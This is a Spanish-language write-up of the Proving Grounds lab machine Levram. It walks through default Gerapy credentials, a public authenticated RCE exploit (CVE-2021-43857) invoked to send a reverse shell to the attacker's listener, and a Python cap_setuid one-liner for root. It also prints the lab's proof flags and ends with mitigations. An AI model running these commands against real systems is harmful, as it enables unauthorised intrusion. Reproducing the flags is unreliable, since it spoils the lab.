Saltar al contenido
JN
Writeup Proving Grounds Fácil

Levram — Proving Grounds

Walkthrough de una máquina Linux de Proving Grounds que cubre una vulnerabilidad de RCE autenticada en Gerapy, enumeración de capabilities con LinPEAS y acceso root mediante cap_setuid.

Plataforma
Proving Grounds
Dificultad
Fácil
Fecha
  • proving-grounds
  • linux
  • gerapy
  • cve-2021-43857
  • web-exploitation
  • authenticated-rce
  • weak-credentials
  • reverse-shell
  • linpeas
  • linux-capabilities
  • cap-setuid
  • privilege-escalation

Descripción general

Levram es una máquina Linux de Proving Grounds. La ruta de ataque combina una interfaz administrativa de Gerapy expuesta, ejecución autenticada de código y una mala configuración de capabilities en Linux.

Este walkthrough independiente documenta un ejercicio autorizado con fines educativos y no está afiliado ni respaldado por OffSec.

Resumen del ataque

El puerto 8000 exponía una interfaz de administración de Gerapy que aceptaba las credenciales débiles admin:admin. El primer intento con el exploit autenticado no pudo continuar porque no existía un proyecto utilizable, por lo que creé un proyecto llamado Levram y volví a ejecutar el exploit, con lo que obtuve una shell como app. Más tarde, LinPEAS identificó cap_setuid=ep en Python y la técnica correspondiente de GTFOBins permitió obtener una shell de root.

Enumeración

Comencé con un escaneo TCP rápido de 192.168.248.24, que identificó SSH en el puerto 22 y HTTP en el puerto 8000:

sudo nmap -sS -T4 192.168.248.24
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

SSH no ofrecía una vía inmediata. HTTP exponía una aplicación de administración reconocible en un puerto no estándar, por lo que el puerto 8000 se convirtió en la prioridad.

whatweb http://192.168.248.24:8000
http://192.168.248.24:8000 [200 OK] Allow[OPTIONS, GET], Country[RESERVED]
[ZZ], HTML5, HTTPServer[WSGIServer/0.2 CPython/3.10.6], IP[192.168.248.24],
Script, Title[Gerapy], X-UA-Compatible[IE=edge]

WhatWeb identificó Gerapy, WSGIServer/0.2 y CPython 3.10.6.

Análisis de la aplicación web

El servicio exponía una interfaz de inicio de sesión de Gerapy y rutas de administración asociadas a Django. Después de identificar la aplicación, utilicé Feroxbuster para enumerar rutas adicionales:

feroxbuster -u http://192.168.248.24:8000 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 50

Las redirecciones identificaron /admin/, /admin/login/, /admin/core/ y el área de administración de proyectos en /admin/core/project/.

Pantalla de autenticación de Gerapy disponible mediante el servicio HTTP del puerto 8000.
Interfaz de inicio de sesión de Gerapy expuesta en el puerto 8000.
Salida de Feroxbuster con redirecciones hacia las rutas administrativas de la aplicación.
Feroxbuster identificó rutas de administración de Gerapy y Django.

Acceso a Gerapy

El panel de Gerapy aceptó las credenciales débiles admin:admin, lo que permitió acceder a la interfaz de administración.

Searchsploit devolvió un exploit para CVE-2021-43857, una vulnerabilidad de RCE autenticada en Gerapy. Como la aplicación no exponía su versión exacta, traté el exploit como una hipótesis y comprobé si sus requisitos coincidían con el entorno.

searchsploit gerapy
Exploit Title
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)

El primer intento no pudo continuar porque la aplicación no contenía un proyecto que el exploit pudiera utilizar. Por ese motivo, creé un proyecto llamado Levram desde la interfaz de Gerapy.

Listado de proyectos de Gerapy con el proyecto Levram disponible para el exploit.
Proyecto Levram creado antes del segundo intento con el exploit autenticado.

Explotación mediante RCE autenticada

Antes del segundo intento, levanté un listener en el puerto 443:

rlwrap nc -lvnp 443

Con el proyecto creado y el listener activo, volví a ejecutar el exploit:

python3 50640.py -t 192.168.248.24 -p 8000 -L 192.168.45.198 -P 443
[*] Login successful! Proceeding...
[*] Found project: Levram
[*] Found ID of the project: 4
Listening on [any] 443 ...
[*] Executing reverse shell payload
connect to [192.168.45.198] from (UNKNOWN) [192.168.248.24] 48506

Esta vez, el exploit seleccionó el proyecto Levram con ID 4, envió el payload y devolvió una reverse shell al listener.

Obtención de una shell inicial

La conexión entrante entregó una shell como el usuario de bajos privilegios app:

whoami
app
Salida del exploit con la selección del proyecto, la conexión entrante y la sesión del usuario app.
El exploit autenticado devolvió una shell como app.

Enumeración local

Después de obtener una shell como app, ejecuté LinPEAS para automatizar las comprobaciones habituales de enumeración local. Al revisar su salida, destacó una capability poco habitual asignada a /usr/bin/python3.10.

Resultado de LinPEAS que señala la capability asignada al intérprete Python 3.10.
LinPEAS destacó cap_setuid=ep en /usr/bin/python3.10.

La mayor parte del resto de la salida no aportó una vía de escalada aprovechable. La capability de Python sí era relevante porque daba a un usuario sin privilegios la posibilidad de cambiar la identidad del proceso.

La shell inicial se abrió en /home/app/gerapy. El proof de bajos privilegios estaba en /home/app/local.txt:

pwd
/home/app/gerapy
cd ../
cat local.txt
78c1777ffd3e27f05725540ca8444b3a

Identificación de la capability de Python

La enumeración de capabilities devolvió la siguiente entrada:

/usr/bin/python3.10 cap_setuid=ep

La capability CAP_SETUID permitía que el proceso del intérprete cambiara su UID. Al estar asignada como efectiva y permitida, la cuenta app podía utilizarla directamente mediante Python.

Escalada de privilegios

Después de que LinPEAS identificara la capability de Python, consulté GTFOBins para buscar una técnica aplicable. El siguiente comando cambió el UID del proceso a 0 y lanzó /bin/sh:

python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

whoami confirmó la shell de root:

whoami
root
Ejecución del comando de Python seguida de la confirmación de acceso como root.
El uso de la capability de Python permitió obtener una shell de root.

El acceso como root se verificó leyendo el archivo proof:

cat /root/proof.txt
2b3aa96dad332b6d6217d38b77b8b193

Causa raíz

Acceso inicial

  • El puerto 8000 exponía la interfaz de administración de Gerapy.
  • Las credenciales débiles admin:admin permitían acceder a la interfaz autenticada.
  • CVE-2021-43857 habilitaba la ejecución remota autenticada de código a través de la aplicación expuesta.

Escalada de privilegios

  • LinPEAS identificó cap_setuid=ep en /usr/bin/python3.10.
  • La capability permitía que la cuenta app cambiara el UID del proceso del intérprete a 0.
  • La técnica de GTFOBins utilizó os.setuid(0) y lanzó /bin/sh, obteniendo una shell de root.

Mitigaciones

  • Reemplazar las credenciales débiles o predeterminadas de Gerapy y exigir credenciales administrativas fuertes y únicas.
  • Restringir la administración de Gerapy a redes confiables y administradores autorizados.
  • Actualizar la implementación vulnerable de Gerapy y gestionar activamente sus vulnerabilidades conocidas.
  • Eliminar capabilities peligrosas de intérpretes de propósito general y auditar regularmente las capabilities de archivos bajo principios de mínimo privilegio.

Aprendizajes

  • Las interfaces administrativas deben investigarse temprano, ya que suelen exponer funciones privilegiadas y una superficie de ataque adicional.
  • Las credenciales débiles pueden hacer que una vulnerabilidad autenticada quede al alcance de un atacante sin acceso previo.
  • Antes de ejecutar un exploit público, es necesario comprender sus requisitos y el estado que espera encontrar en la aplicación.
  • LinPEAS puede ayudar a identificar vectores locales de escalada de privilegios al destacar permisos, capabilities y configuraciones inusuales del sistema.
  • Las capabilities peligrosas asignadas a intérpretes flexibles pueden proporcionar una ruta directa desde una cuenta de servicio hasta root.